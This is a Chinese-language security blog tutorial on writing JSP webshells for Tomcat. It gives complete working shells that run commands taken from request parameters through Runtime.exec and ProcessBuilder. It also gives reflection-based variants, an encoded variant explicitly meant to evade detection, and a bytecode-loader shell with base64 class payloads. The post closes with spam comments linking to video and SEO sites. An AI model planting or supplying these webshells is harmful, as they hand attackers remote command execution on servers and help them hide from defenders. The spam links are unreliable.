补基础系列-JavaJspWebShell基础写法
前言
自己大部分渗透过程中所用的Jsp马或者直接使用冰蝎,但是在实际场景中,我们有时候仍然需要上传JSP马作为webshell使用,因此为了不再每一次都百度,这次我们来学习一下JSP马儿的基础写法。
<!--more-->
环境搭建
环境搭建其实只是很普通的搭建一个tomcat环境即可,我们目的只是为了测试JSP是否能够正常运行,这里简单记录一下环境搭建。
- 下载tomcat,这里选择的是7.0.82版本:
Tomcat下载地址
2.下好之后随意解压一个路径,记得在哪就行,然后在idea里面创建项目,可以参考一下我的创建选项:
后面狂按下一步,等着加载完Servlet插件就行。
命令执行部分
命令执行部分其实讲的就太多了,但这里还是再复习一下,JSP中的命令执行和我们常说的Java反射命令执行基本上是一回事,用的类也是差不多的,还是来认识一下这个熟面孔:
java.lang.Runtime
->用法
java.lang.Runtime.getRuntime().exec([command])
例程其实也非常简单:
public class test {
public static void main(String[] args) throws IOException {
InputStreamReader isr = new InputStreamReader(Runtime.getRuntime().exec(new String[]{"ls"}).getInputStream());
BufferedReader b = new BufferedReader(isr);
while (b.readLine()!=null){
System.out.println(b.readLine());
}
}
}
输出结果:
这里读取结果的方式可以随意,使用InputSteam挨个字节读,然后转字符串也是可以的。
由于JSP中可以不使用反射进行操作,因此ProcessBuilder类也可以用来执行命令,例程如下:
import java.io.*;
public class test {
public static void main(String[] args) throws IOException {
InputStreamReader isr = new InputStreamReader(new ProcessBuilder("ls").start().getInputStream());
BufferedReader b = new BufferedReader(isr);
while (b.readLine()!=null){
System.out.println(b.readLine());
}
}
}
了解JSP语法
JSP语法其实非常简单,有过写模版语法的小伙伴很快就能上手,简单来说,我们需要将Java语句使用<%JavaCode%>
进行包裹。
同样给出一个简单例程:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> // 这段代码是为了显示中文
<% out.println("你好啊"); %>
我们可以将命令执行的代码搬到jsp中,如下面例程:
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
java.io.InputStream i = Runtime.getRuntime().exec("ls").getInputStream();
byte[] b = new byte[i.available()];
i.read(b);
String s = new String(b);
out.println(s);
%>
还有一些其他标签可以参照w3cshcool
一般webshell写法
Runtime写法
既然是小马,自然我们需要通过url或者post的传值来进行命令执行了,因此下面我们会给出JSP中取Request值的例程。
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
byte[] b = new byte[i.available()];
i.read(b);
out.println(request.getParameter("hello"));
out.println(new String(b));
%>
但是这个小马会在第二次输入命令执行后无回显:
经过这里JSP是能够正常获得值的,通过debug发现使用available方法时,第二次的时候b数组无法创建正常大小,是一个没有长度的空数组,因此解决方法是为b数组制定一个大小,我们开到2048,即可解决这个问题。
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
byte[] b = new byte[2048];
i.read(b);
out.println(new String(b));
%>
ProcessBuilder写法
ProcessBuilder只是换一个类而已,整体基本不变:
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
InputStream i = new ProcessBuilder(request.getParameter("pb")).start().getInputStream();
byte[] b = new byte[2048];
i.read(b);
out.println(new String(b));
%>
非常规写法
直接利用反射的webshell
在编写java反射时,我们需要逆序进行编写,比如这里我们最后是为了调用exec方法,因此exec方法放在前面,通过invoke传入exec需要的参数,invoke方法需求两个参数第一个参数为调用类,第二个以及往后的参数为传入方法的值。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Class c = Class.forName("java.lang.Runtime");
Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),new String[]{"ls"});
byte[] b = new byte[2048];
p.getInputStream().read(b);
out.println(new String(b));
%>
只需要将制定的String参数换成request传入即可:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Class c = Class.forName("java.lang.Runtime");
Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),request.getParameter("cmd"));
byte[] b = new byte[2048];
p.getInputStream().read(b);
out.println(new String(b));
%>
同理ProcessBuilder也可以利用反射构造,但是情况比Runtime的构造要麻烦一点,拆开来构造如下:
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Class c = Class.forName("java.lang.ProcessBuilder");
Constructor cc = c.getConstructor(List.class);
List<String> s = Arrays.asList(new String[]{"ls"});
ProcessBuilder pb = (ProcessBuilder) cc.newInstance(s);
byte[] b = new byte[2048];
Process p = (Process) c.getMethod("start").invoke(pb,null);
p.getInputStream().read(b);
out.println(new String(b));
%>
你可能会好奇,为什么这里使用List\<String\>,主要原因在于ProcessBuild该函数有两个构造函数,如下:
一种为List\<String\>传参,一种为可变参数String,可变参数在实际运行中,表现为String数组,但是该数组没有被指定长度,当我们使用newInstance方法,调用String[]的构造函数时,会出现下面这种情况:
传参调用该构造方法:
会抛出异常,因此我们选择另一个构造方法传入List,将上面多行的JSP代码整理为一行如下:
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Class c = Class.forName("java.lang.ProcessBuilder");
Process p = (Process) c.getMethod("start").invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
byte[] b = new byte[2048];
p.getInputStream().read(b);
out.println(new String(b));
%>
由于反射能将类名和参数名分开传入,因此我们可以对参数名和参数进行简单加密,如下我们定义一个函数,进行移位变换:
加密函数:
class Encoder{
String k;
String t;
public String encode(){
byte[] b1 = this.k.getBytes(StandardCharsets.UTF_8);
byte[] b2 = this.t.getBytes(StandardCharsets.UTF_8);
int g = b2.length/b1.length;
if (g == 0) {
for (int j = 0; j < b2.length - 1; j++) {
b2[j] = (byte) (b2[j] + 103 - b1[j]);
}
}
for (int i=0;i<=g;i++){
int left = b2.length - i * b1.length;
for (int j = 0; j < b1.length - 1; j++) {
if (left == j){
break;
}
b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] + 103 - b1[j]);
}
}
return new String(b2);
}
}
解密函数,由于密钥只有攻击者拥有,因此可以一定程度上规避检测:
<%!
public String decode(String key,String text){
byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
int g = b2.length/b1.length;
if (g == 0) {
for (int j = 0; j < b2.length - 1; j++) {
b2[j] = (byte) (b2[j] - 105 + b1[j]);
}
}
for (int i=0;i<=g;i++){
int left = b2.length - i * b1.length;
for (int j = 0; j < b1.length - 1; j++) {
if (left == j){
break;
}
b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 105 + b1[j]);
}
}
return new String(b2);
}
%>
将webshell改写成接受加密流量的内容:
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public String decode(String key,String text){
byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
int g = b2.length/b1.length;
if (g == 0) {
for (int j = 0; j < b2.length - 1; j++) {
b2[j] = (byte) (b2[j] - 103 + b1[j]);
}
}
for (int i=0;i<=g;i++){
int left = b2.length - i * b1.length;
for (int j = 0; j < b1.length - 1; j++) {
if (left == j){
break;
}
b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 103 + b1[j]);
}
}
return new String(b2);
}
%>
<%
String k = request.getParameter("key");
Class c = Class.forName(decode(k,"lfnS'papl&Bkscgxk4nmlfjj"));
Process p = (Process) c.getMethod(decode(k,"w~QVm")).invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
byte[] b = new byte[2048];
p.getInputStream().read(b);
out.println(new String(b));
%>
字节码加载webshell
除了使用反射直接调用执行webshell外,还可以使用加载字节码的形式,调用webshell,我们知道Java中能够运行代码,实际上是将代码转换成字节码形式,将字节码加载进入JVM中就可以运行代码了。
因此如果我们想在webshell中加载字节码,那么我们需要编写一个字节码加载器,同时我们编写一个恶意类进行测试。
使用构造函数进行固定命令执行并回显
public class C{
public byte[] b = new byte[2048];
public C() throws IOException {
Process p = Runtime.getRuntime().exec("ls");
p.getInputStream().read(this.b);
}
}
PS:这里注意所有你需要通过反射访问的属性和方法(包括构造方法),都需要设置成为public,否则在反射执行中无法访问。
然后使用Javac命令编译成class
javac C.java
这里使用Javaassist包转成字节码:
// 可以直接命令 cat x.class | base64
import java.io.FileInputStream;
import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.BASE64Encoder;
public class L {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
FileInputStream fi = new FileInputStream("./C.class");
CtClass cc = ClassPool.getDefault().makeClass(fi);
byte[] bytecode = cc.toBytecode();
BASE64Encoder encoder = new BASE64Encoder();
System.out.println(encoder.encode(bytecode));
}
}
/*
yv66vgAAADQALAoACQAUCQAIABUKABYAFwgAGAoAFgAZCgAaABsKABwAHQcAHgcAHwEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAgAQAKU291cmNlRmlsZQEABkMuamF2YQwADAANDAAKAAsHACEMACIAIwEAAmxzDAAkACUHACYMACcAKAcAKQwAKgArAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkAIQAIAAkAAAABAAEACgALAAAAAQABAAwADQACAA4AAABLAAIAAgAAACMqtwABKhEIALwItQACuAADEgS2AAVMK7YABiq0AAK2AAdXsQAAAAEADwAAABYABQAAAAUABAAEAA0ABgAWAAcAIgAIABAAAAAEAAEAEQABABIAAAACABM%3d
*/
接着编写一个JSP的字节码加载器:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
Class c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m.setAccessible(true);
BASE64Decoder bd = new BASE64Decoder();
byte[] b = bd.decodeBuffer(request.getParameter("bs"));
Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());
out.print(new String(b2));
%>
解释一下这一行:byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());
newInstance
方法直接对类使用,会调用无参构造函数(public)并返回该对象,但是由于C类,并没有导入Tomcat应用中,因此这里我们无法直接写C c = c1.newInstance()
,这个问题我们同样通过反射解决,使用xx.getClass
方法来获得该类,然后利用反射获得对应的属性对象,这时候由于get(取得Field对象的值)
方法需要传入已实例化的对象,因此这里我们再传入一个c1.newInstance()
即可,结果为:
我们这里只是执行固定命令并回显,如果每执行一个命令都需要重新生成一个.class实在是太麻烦了,下面使用两种方法达到webshell的目的。
有参构造函数Webshell
这个时候需要更改我们的恶意类了:
import java.io.IOException;
public class C{
public byte[] b = new byte[2048];
public C(){}
//保留无参构造方法,为了newInstance能够获取C类
public C(String cmd) throws IOException {
Process p = Runtime.getRuntime().exec(cmd);
p.getInputStream().read(this.b);
}
}
添加了传参,同理生成base64:
yv66vgAAADQAKwoACAAUCQAHABUKABYAFwoAFgAYCgAZABoKABsAHAcAHQcAHgEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApFeGNlcHRpb25zBwAfAQAKU291cmNlRmlsZQEABkMuamF2YQwACwAMDAAJAAoHACAMACEAIgwAIwAkBwAlDAAmACcHACgMACkAKgEAAUMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAEcmVhZAEABShbQilJACEABwAIAAAAAQABAAkACgAAAAIAAQALAAwAAQANAAAALgACAAEAAAAOKrcAASoRCAC8CLUAArEAAAABAA4AAAAOAAMAAAAFAAQABAANAAUAAQALAA8AAgANAAAASgACAAMAAAAiKrcAASoRCAC8CLUAArgAAyu2AARNLLYABSq0AAK2AAZXsQAAAAEADgAAABYABQAAAAYABAAEAA0ABwAVAAgAIQAJABAAAAAEAAEAEQABABIAAAACABM%3d
稍微更改一下我们的JSP加载器:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
Class c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m.setAccessible(true);
BASE64Decoder bd = new BASE64Decoder();
byte[] b = bd.decodeBuffer(request.getParameter("bs"));
Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance().getClass().getConstructor(String.class).newInstance(request.getParameter("cmd")));
out.print(new String(b2));
%>
调用恶意类方法
恶意类添加exec方法。
import java.io.IOException;
public class C{
public String s;
public C(){}
public String exec(String cmd) throws IOException {
byte[] b = new byte[2048];
Runtime.getRuntime().exec(cmd).getInputStream().read(b);
return new String(b);
}
}
base64编码:
yv66vgAAADQALgoACQAWCgAXABgKABcAGQoAGgAbCgAcAB0HAB4KAAYAHwcAIAcAIQEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwcAIgEAClNvdXJjZUZpbGUBAAZDLmphdmEMAAwADQcAIwwAJAAlDAAQACYHACcMACgAKQcAKgwAKwAsAQAQamF2YS9sYW5nL1N0cmluZwwADAAtAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQATamF2YS9pby9JbnB1dFN0cmVhbQEABHJlYWQBAAUoW0IpSQEABShbQilWACEACAAJAAAAAQABAAoACwAAAAIAAQAMAA0AAQAOAAAAHQABAAEAAAAFKrcAAbEAAAABAA8AAAAGAAEAAAAFAAEAEAARAAIADgAAAD4AAwADAAAAHhEIALwITbgAAiu2AAO2AAQstgAFV7sABlkstwAHsAAAAAEADwAAAA4AAwAAAAcABgAIABUACQASAAAABAABABMAAQAUAAAAAgAV
更改字节码加载器:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
Class c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m.setAccessible(true);
BASE64Decoder bd = new BASE64Decoder();
byte[] b = bd.decodeBuffer(request.getParameter("bs"));
Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
Method exec = c1.newInstance().getClass().getMethod("exec",String.class);
out.print((String) exec.invoke(c1.newInstance(),request.getParameter("g")));
%>
参考文章
Java安全-Java动态加载字节码
JSP Webshell那些事 -- 攻击篇(上)
Javaassist简介
java基础_创建对象的五种方式
你的文章充满了智慧,让人敬佩。 https://www.yonboz.com/video/54120.html
《与鸭共舞》喜剧片高清在线免费观看:https://www.jgz518.com/xingkong/68157.html
每次看到你的文章,我都觉得时间过得好快。 https://www.yonboz.com/video/44412.html
你的才华让人惊叹,你是我的榜样。 http://www.55baobei.com/TDGD2yNoEr.html
《与鸭共舞》喜剧片高清在线免费观看:https://www.jgz518.com/xingkong/68157.html
你的文章让我感受到了无尽的欢乐,谢谢分享。 https://www.yonboz.com/video/19509.html
博主太厉害了!
哈哈哈,写的太好了https://www.cscnn.com/
看的我热血沸腾啊https://www.ea55.com/
叼茂SEO.bfbikes.com